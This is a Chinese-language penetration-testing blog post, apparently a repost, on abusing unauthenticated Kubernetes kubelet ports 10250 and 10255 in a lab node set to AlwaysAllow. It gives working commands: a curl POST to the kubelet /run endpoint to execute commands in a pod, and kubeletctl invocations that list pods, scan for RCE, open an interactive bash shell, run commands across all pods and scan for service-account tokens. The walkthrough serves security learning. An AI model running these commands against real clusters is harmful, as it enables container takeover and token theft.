K8S kubelet 10250/10255端口未授权访问
2023-3-15 09:0:24
Author: 谢公子学安全(查看原文)
阅读量:25
收藏
kubelet会在K8s集群中的每一个节点上运行一个实例,对容器进行生命周期的管理。kubelet开放的端口有:
- 10250(kubelet API):是kubelet与 API Server通信的端口,定期请求 API Server获取自己所应当处理的任务,通过该端口可以访问获取node资源以及状态。如果kubelet的10250端口对外暴露,攻击者可创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机。
- 10255(readonly API):提供了pod和node的信息。如果对外开放,攻击者利用公开api可以获取敏感信息。
现在在node节点172.16.200.71上将/var/lib/kubelet/config.yaml配置修改为如下:将这里的mode设置为AlwaysAllow之后,那么使用API就不需要鉴权了,默认是使用WebHooksystemctl restart kubelet
https://172.16.200.71:10250/runningpods/
但是也只能访问当前node节点的未授权,其他node节点和master节点的10250端口还是需要授权才能访问。首先通过未授权页面得到pod、namespace和containers。curl -XPOST -k "https://172.16.200.71:10250/run/kube-system/kube-proxy-scv7g/kube-proxy" -d "cmd=whoami"
也可以直接使用工具进行后利用:https://github.com/cyberark/kubeletctl执行如下命令检测目标node节点上运行了哪些pod./kubeletctl_darwin_amd64 --server 172.16.200.71 pods
执行如下命令检测目标node节点上哪些pod可以命令执行./kubeletctl_darwin_amd64 --server 172.16.200.71 scan rce
然后就可以命令执行了,我们选第3个myapp进行命令执行,可以得到一个交互式的shell./kubeletctl_darwin_amd64 --server 172.16.200.71 -p myapp -c container -n test exec "/bin/bash"
./kubeletctl_darwin_amd64 --server 172.16.200.71 run "hostname -i" --all-pods
./kubeletctl_darwin_amd64 --server 172.16.200.71 scan token
默认情况下该端口是不开启的,现在在node节点172.16.200.71上将/var/lib/kubelet/config.yaml配置修改为如下:systemctl restart kubelet
对于10255端口的未授权访问,需要通过 --http --port=10255 参数来指定。./kubeletctl_darwin_amd64 --server 172.16.200.71 --http --port=10255 pods
并且由于10255端口是只读的,只能获取信息,无法对pod执行命令,读取token等操作。非常感谢您读到现在,由于作者的水平有限,编写时间仓促,文章中难免会出现一些错误或者描述不准确的地方,恳请各位师傅们批评指正。 如果你想一起学习内网渗透、域渗透、云安全、红队攻防的话,可以加入下面的知识星球一起学习交流。
文章来源: http://mp.weixin.qq.com/s?__biz=MzI2NDQyNzg1OA==&mid=2247492419&idx=1&sn=3abc437f57981dbaa8d23ff362ea7060&chksm=eaae637eddd9ea685db426d70cdeda24092d1b8765fd15a51a8bc457025eba0eada0f65d740e#rd
如有侵权请联系:admin#unsafe.sh